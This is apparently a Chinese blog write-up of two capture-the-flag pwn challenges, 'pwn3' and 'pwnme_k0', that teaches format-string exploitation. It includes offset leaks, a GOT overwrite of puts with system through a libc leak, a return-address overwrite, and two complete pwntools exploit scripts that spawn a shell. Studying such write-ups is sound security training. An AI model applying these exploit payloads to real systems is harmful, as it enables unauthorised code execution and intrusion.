• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

格式化字符串

01 Feb 2019

Reading time ~6 minutes

  • pwn3
  • pwnme_k0

题目链接:https://pan.baidu.com/s/1YF4HyEH2lSk6Yrqpp3NZvQ 提取码:mdap

pwn3

gdb-peda$ checksec

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

查保护,就开了NX。

Ida打开程序

int __cdecl __noreturn main(int argc, const char **argv, const char**envp)

{

	signed int v3; // eax

	char s1; // [esp+14h] [ebp-2Ch]

	int v5; // [esp+3Ch] [ebp-4h]

	setbuf(stdout, 0);

	ask_username(&s1);

	ask_password(&s1);

	while ( 1 )

	{

		while ( 1 )

		{

			print_prompt();

			v3 = get_command();

			v5 = v3;

			if ( v3 != 2 )

				break;

			put_file();

		}

		if ( v3 == 3 )

		{

			show_dir();

		}

		else

		{

			if ( v3 != 1 )

				exit(1);

			get_file();

		}

	}

}

Put是输入的,get是读取的,dir是显示的

在get里面发现了格式化字符串的漏洞

int get_file()

{

	char dest; // [esp+1Ch] [ebp-FCh]

	char s1; // [esp+E4h] [ebp-34h]

	char *i; // [esp+10Ch] [ebp-Ch]

	printf("enter the file name you want to get:");

	__isoc99_scanf("%40s", &s1);

	if ( !strncmp(&s1, "flag", 4u) )

		puts("too young, too simple");

	for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )

	{

		if ( !strcmp(i, &s1) )

		{

			strcpy(&dest, i + 40);

			return printf(&dest);

		}

	}

	return printf(&dest);

}

查字符什么都没发现·但发现最后的dir显示函数是puts(s)

那思路只有是把dir的puts换成system,在输入/bin/sh,则puts(/bin/sh)实际上就是system(/bin/sh)

输入前面现有个密码的判定,很简单,直接就是sysbdmin每个字符减1就可以了

然后找printf的偏移位置

Connected to ftp.hacker.server

220 Serv-U FTP Server v6.4 for WinSock ready...

Name (ftp.hacker.server:Rainism):rxraclhm

welcome!

ftp>put

please enter the name of the file you want to upload:aaaa

then, enter the content:aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

ftp>get

enter the file name you want to get:aaaa

aaaa,0x9eeb598,0x4,0xf7da7f88,0xfbad2887,0x7d4,0xf7f73200,0x61616161,0x2c70252c,0x252c7025,0x70252c70ftp>

数一下,偏移位置是7。或者是在gdb里面看,断点下在printf

gdb-peda$ stack 20
0000| 0xffffd080 --> 0xffffd09c ("%p,%p,%p,%p")
0004| 0xffffd084 --> 0x804b598 ("%p,%p,%p,%p")
0008| 0xffffd088 --> 0x4 
0012| 0xffffd08c --> 0xf7de8f88 --> 0x36a5 
0016| 0xffffd090 --> 0xfbad2887 
0020| 0xffffd094 --> 0x7d4 
0024| 0xffffd098 --> 0xf7fb4200 --> 0x0 
0028| 0xffffd09c ("%p,%p,%p,%p")
0032| 0xffffd0a0 ("p,%p,%p")
0036| 0xffffd0a4 --> 0x70252c (',%p')
0040| 0xffffd0a8 --> 0xf7e5104b (<_IO_new_file_underflow+11>:	add    edi,0x164fb5)
0044| 0xffffd0ac --> 0xf7fb49d4 --> 0x0 
0048| 0xffffd0b0 --> 0xf7fb65c0 --> 0xfbad2288 
0052| 0xffffd0b4 --> 0x1 
0056| 0xffffd0b8 --> 0x804b598 ("%p,%p,%p,%p")
0060| 0xffffd0bc --> 0xf7e501bf (<__GI__IO_file_xsgetn+575>:	add    esp,0x10)
0064| 0xffffd0c0 --> 0x804b5a3 --> 0x0 
0068| 0xffffd0c4 --> 0x804b16b --> 0xa ('\n')
0072| 0xffffd0c8 --> 0x1 
0076| 0xffffd0cc --> 0xf7ffd940 --> 0x0 

偏移位置就是 (0xffffd09c-0xffffd080)/4=7

接下来可以利用printf泄露出puts的地址,算出libc的版本,然后用libc里面的system来换掉puts。

最后的覆盖可以用fmtstr_payload函数

fmtstr_payload(偏移,{被替换的:替换的})

r.recvuntil("Name (ftp.hacker.server:Rainism):")

r.sendline(password2)

r.recvuntil("ftp>")

r.sendline('put')

r.recvuntil("please enter the name of the file you want to upload:")

r.sendline('aaaa')

r.recvuntil("then, enter the content:")

r.sendline(p32(puts_got)+'%7$s')

r.recvuntil("ftp>")

r.sendline('get')

r.recvuntil("enter the file name you want to get:")

r.sendline('aaaa')

puts_addr=u32(r.recv()[4:8])

这里是拿到了puts的真实地址。如果输入的是p32(puts_got)+’%7$s’则地址为recv的4-8位

如果输入的是‘%8$s’+p32(puts_got),则地址为recv的前4位

完整的exp

from pwn import *

from LibcSearcher import LibcSearcher

r=process('./pwn3')

elf=ELF('./pwn3')

context.terminal = ['terminator','-x','sh','-c']

pwnlib.gdb.attach(r)

puts_got=elf.got['puts']

password1='sysbdmin'

password2=''

for i in password1:

	password2+=chr(ord(i)-1)

print(password2)

r.recvuntil("Name (ftp.hacker.server:Rainism):")

r.sendline(password2)

r.recvuntil("ftp>")

r.sendline('put')

r.recvuntil("please enter the name of the file you want to upload:")

r.sendline('aaaa')

r.recvuntil("then, enter the content:")

r.sendline(p32(puts_got)+'%7$s')

r.recvuntil("ftp>")

r.sendline('get')

r.recvuntil("enter the file name you want to get:")

r.sendline('aaaa')

puts_addr=u32(r.recv()[4:8])

libc = LibcSearcher("puts", puts_addr)

base_addr=puts_addr-libc.dump('puts')

system_addr=base_addr+libc.dump('system')

payload=fmtstr_payload(7, {puts_got: system_addr})

r.recvuntil("ftp>")

r.sendline('put')

r.recvuntil("please enter the name of the file you want to upload:")

r.sendline('/bin/sh;')

r.recvuntil("then, enter the content:")

r.sendline(payload)

r.recvuntil("ftp>")

r.sendline('get')

r.recvuntil("enter the file name you want to get:")

r.sendline('/bin/sh;')

r.recvuntil("ftp>")

r.sendline('dir')

r.interactive()

这里输入的/bin/sh;是为了防止后面多出来的aaaa,虽然我也不知道这里的aaaa是哪里来的,如果不加分号就会出错。

0x8048746 <show_dir+95> mov edx, dword ptr [ebp - 0x14]

0x8048749 <show_dir+98> mov eax, dword ptr [ebp - 0x10]

0x804874c <show_dir+101> add eax, edx

0x804874e <show_dir+103> movzx eax, byte ptr [eax]

0x8048751 <show_dir+106> test al, al

► 0x8048753 <show_dir+108> jne show_dir+64 <0x8048727>

0x8048755 <show_dir+110> mov eax, dword ptr [ebp - 0x14]

0x8048758 <show_dir+113> mov eax, dword ptr [eax + 0xf0]

0x804875e <show_dir+119> mov dword ptr [ebp - 0x14], eax

0x8048761 <show_dir+122> cmp dword ptr [ebp - 0x14], 0

0x8048765 <show_dir+126> jne show_dir+55 <0x804871e>

───────────────────────────────────────────────────────────[ STACK]────────────────────────────────────────────────────────────

00:0000│ esp 0xffab3020 —▸ 0xffab3034 ◂— '/bin/sh;aaaa'

01:0004│ 0xffab3024 ◂— 0x400

02:0008│ 0xffab3028 ◂— 0x1

03:000c│ 0xffab302c —▸ 0xf7f363ec (check_match+364) ◂— add esp, 0x10

04:0010│ 0xffab3030 —▸ 0xf7d48fb0 ◂— inc edi /* 'GLIBC_PRIVATE' */

05:0014│ 0xffab3034 ◂— '/bin/sh;aaaa'

06:0018│ 0xffab3038 ◂— '/sh;aaaa'

07:001c│ 0xffab303c ◂— 'aaaa'

─────────────────────────────────────────────────────────[ BACKTRACE]──────────────────────────────────────────────────────────

► f 0 8048753 show_dir+108

f 1 80486d7 main+106

f 2 f7d4de81 __libc_start_main+241

不加分号

0x8048746 <show_dir+95> mov edx, dword ptr [ebp - 0x14]

0x8048749 <show_dir+98> mov eax, dword ptr [ebp - 0x10]

0x804874c <show_dir+101> add eax, edx

0x804874e <show_dir+103> movzx eax, byte ptr [eax]

0x8048751 <show_dir+106> test al, al

► 0x8048753 <show_dir+108> jne show_dir+64 <0x8048727>

0x8048755 <show_dir+110> mov eax, dword ptr [ebp - 0x14]

0x8048758 <show_dir+113> mov eax, dword ptr [eax + 0xf0]

0x804875e <show_dir+119> mov dword ptr [ebp - 0x14], eax

0x8048761 <show_dir+122> cmp dword ptr [ebp - 0x14], 0

0x8048765 <show_dir+126> jne show_dir+55 <0x804871e>

─────────────────────────────────────────────────────────[ STACK]──────────────────────────────────────────────────────────

00:0000│ esp 0xffc13390 —▸ 0xffc133a4 ◂— '/bin/shaaaa'

01:0004│ 0xffc13394 ◂— 0x400

02:0008│ 0xffc13398 ◂— 0x1

03:000c│ 0xffc1339c —▸ 0xf7fd43ec (check_match+364) ◂— add esp, 0x10

04:0010│ 0xffc133a0 —▸ 0xf7de6fb0 ◂— inc edi /* 'GLIBC_PRIVATE' */

05:0014│ 0xffc133a4 ◂— '/bin/shaaaa'

06:0018│ 0xffc133a8 ◂— '/shaaaa'

07:001c│ 0xffc133ac ◂— 0x616161 /* 'aaa' */

[*] Switching to interactive mode

sh: 1: /bin/shaaaa: not found

ftp>$

$ ls

[*] Got EOF while reading in interactive

$ id

[*] Process './pwn3' stopped with exit code 1 (pid 3287)

[*] Got EOF while sending in interactive

pwnme_k0

gdb-peda$ checksec

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : FULL

查保护,就开了NX

Iad打开,在sub_400B07函数里面发现了格式化字符串

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4,__int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)

{

	write(0, "Welc0me to sangebaimao!n", 0x1AuLL);

	printf(&formata, "Welc0me to sangebaimao!n");

	return printf((const char *)&a9 + 4);

}

这个&a9+4是前面输入的密码的位置

先确定下偏移的位置,因为是64位的程序,所以前6个参数都是在寄存器里的,从第7个开始才是在栈上

~/Desktop$ ./pwnme_k0

**********************************************

* 											 *

*Welcome to sangebaimao,Pwnn me and have fun!*

* 											 *

**********************************************

Register Account first!

Input your username(max lenth:20):

aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

Input your password(max lenth:20):

Register Success!!

1.Sh0w Account Infomation!

2.Ed1t Account Inf0mation!

3.QUit sangebaimao:(

>error options

1.Sh0w Account Infomation!

2.Ed1t Account Inf0mation!

3.QUit sangebaimao:(

>1

Welc0me to sangebaimao!

aaaaaaaa,0x4010c3,0x1a,0x7fcb4901d154,0x7ffc959a4929,(nil),0x7ffc959a4940,0x400d74,0x6161616161616161,0x252c70252c70252c,0x2c70252c

@1.Sh0w Account Infomation!0x4d,0x7ffc959a4940,%M

2.Ed1t Account Inf0mation!

3.QUit sangebaimao:(

>

数一下,在第八个位置,所以偏移的位置是8。

也可以在gdb上面确定位置,断点下在printf,看栈里面的数

0000| 0x7fffffffdf20 --> 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0(push r15)

0008| 0x7fffffffdf28 --> 0x400d74 (add rsp,0x30)

0016| 0x7fffffffdf30 ("aaaaaaaa,%p,%p,"...)

0024| 0x7fffffffdf38 (",%p,%p,%p,%p,%p"...)

0032| 0x7fffffffdf40 ("p,%p,%p,%p,%p,%"...)

0040| 0x7fffffffdf48 ("%p,%p,%p,%p,%p,"...)

0048| 0x7fffffffdf50 (",%p,%p,%Mr@")

0056| 0x7fffffffdf58 --> 0x400d4d (cmp eax,0x2)

0064| 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0 (push r15)

0072| 0x7fffffffdf68 --> 0x400e98 (add rsp,0x30)

0080| 0x7fffffffdf70 ("aaaaaaaa,%p,%p,"...)

0088| 0x7fffffffdf78 (",%p,%p,%p,%p,%p"...)

0096| 0x7fffffffdf80 ("p,%p,%p,%p,%p,%"...)

0104| 0x7fffffffdf88 ("%p,%p,%p,%p,%p,"...)

0112| 0x7fffffffdf90 (",%p,%p,%c016@")

0120| 0x7fffffffdf98 --> 0x400e63 (jmp 0x400e80)

0128| 0x7fffffffdfa0 --> 0x7fffffffe0f8 --> 0x7fffffffe419
("/home/katrina/D"...)

0136| 0x7fffffffdfa8 --> 0x1756e6547

0144| 0x7fffffffdfb0 ("aaaaaaaa,%p,%p,"...)

0152| 0x7fffffffdfb8 (",%p,%p,%p,%p,%p"...)

我们输入的格式化字符串在第3个位置,则偏移为2,算上前面的6个寄存器,所以偏移为6+2=8。或者用(0x70-0x30)/8=8

再在ida里面查字符串发现了system和/bin/sh,再往下一找,发现在sub_4008A6里面有调用system(‘/bin/sh’)

sub_4008A6 proc near

; __unwind {

push rbp

mov rbp, rsp

mov edi, offset command ; "/bin/sh"

call system

pop rdi

pop rsi

pop rdx

retn

接下来就是希望,能让程序运行到上面这个函数里面。用printf来劫持程序的运行流程。

我们再来观察一下之前那个在printf停留的栈

0000| 0x7fffffffdf20 --> 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0(push r15)

0008| 0x7fffffffdf28 --> 0x400d74 (add rsp,0x30)

0016| 0x7fffffffdf30 ("aaaaaaaa,%p,%p,"...)

0024| 0x7fffffffdf38 (",%p,%p,%p,%p,%p"...)

0032| 0x7fffffffdf40 ("p,%p,%p,%p,%p,%"...)

0040| 0x7fffffffdf48 ("%p,%p,%p,%p,%p,"...)

0048| 0x7fffffffdf50 (",%p,%p,%Mr@")

0056| 0x7fffffffdf58 --> 0x400d4d (cmp eax,0x2)

0064| 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0 (push r15)

0072| 0x7fffffffdf68 --> 0x400e98 (add rsp,0x30)

0080| 0x7fffffffdf70 ("aaaaaaaa,%p,%p,"...)

0088| 0x7fffffffdf78 (",%p,%p,%p,%p,%p"...)

0096| 0x7fffffffdf80 ("p,%p,%p,%p,%p,%"...)

0104| 0x7fffffffdf88 ("%p,%p,%p,%p,%p,"...)

0112| 0x7fffffffdf90 (",%p,%p,%c016@")

0120| 0x7fffffffdf98 --> 0x400e63 (jmp 0x400e80)

0128| 0x7fffffffdfa0 --> 0x7fffffffe0f8 --> 0x7fffffffe419("/home/katrina/D"...)

0136| 0x7fffffffdfa8 --> 0x1756e6547

0144| 0x7fffffffdfb0 ("aaaaaaaa,%p,%p,"...)

0152| 0x7fffffffdfb8 (",%p,%p,%p,%p,%p"...)

第一个位置是ebp的值,第二个位置是函数的返回地址,我们需要的就是把这个返回地址覆盖成sub_4008A6的地址,使结束了printf之后直接跳到system去执行。

首先需要先拿到这个栈位置的地址,因为现在所看到的地址是动态的,但地址与ebp之间的距离是固定的,算出这个固定值,然后再用printf泄露的地址加上这个固定值就可以了。

0x7fffffffdf60-0x7fffffffdf28=0x38

r.recvuntil('Input your username(max lenth:20): n')

r.sendline('aaaa')

r.recv()

r.sendline('%6$p')

r.recvuntil(">")

r.sendline('1')

r.recvuntil("0x")

stack_addr=int(r.recvline().strip(),16)-0x38

%6$p实际上是泄露第6+1位的地址

最后就是往这个地址上写需要的地址,因为只有最后的三位不一样,所以只要改最后三位就可以了。

r.sendline("%2218d%8$hn")

(这里在改的时候发现如果是改到sub_4008A6函数开头的位置时会发生错误,所以就直接改到了执行system的位置)

2218是8AAH的十进制。

完整的exp

from pwn import *

context.terminal = ['terminator','-x','sh','-c']

r=process('./pwnme_k0')

#pwnlib.gdb.attach(r)

r.recvuntil('Input your username(max lenth:20): n')

r.sendline('aaaa')

r.recv()

r.sendline('%6$p')

r.recvuntil(">")

r.sendline('1')

r.recvuntil("0x")

stack_addr=int(r.recvline().strip(),16)-0x38

r.recvuntil(">")

r.sendline('2')

r.recv()

r.sendline(p64(stack_addr))

r.recv()

r.sendline("%2218d%8$hn")

r.recvuntil(">")

r.sendline('1')

r.interactive()

参考链接:https://www.anquanke.com/post/id/85785

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/#hijack-got



Share Tweet +1